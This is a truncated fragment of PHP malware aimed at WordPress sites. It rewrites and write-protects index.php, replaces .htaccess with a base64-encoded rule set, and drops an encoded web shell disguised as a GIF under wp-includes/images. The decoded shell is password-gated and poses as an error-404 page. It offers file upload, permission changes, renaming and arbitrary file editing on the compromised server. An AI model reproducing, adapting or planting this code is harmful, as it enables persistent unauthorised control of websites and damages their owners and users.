 $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29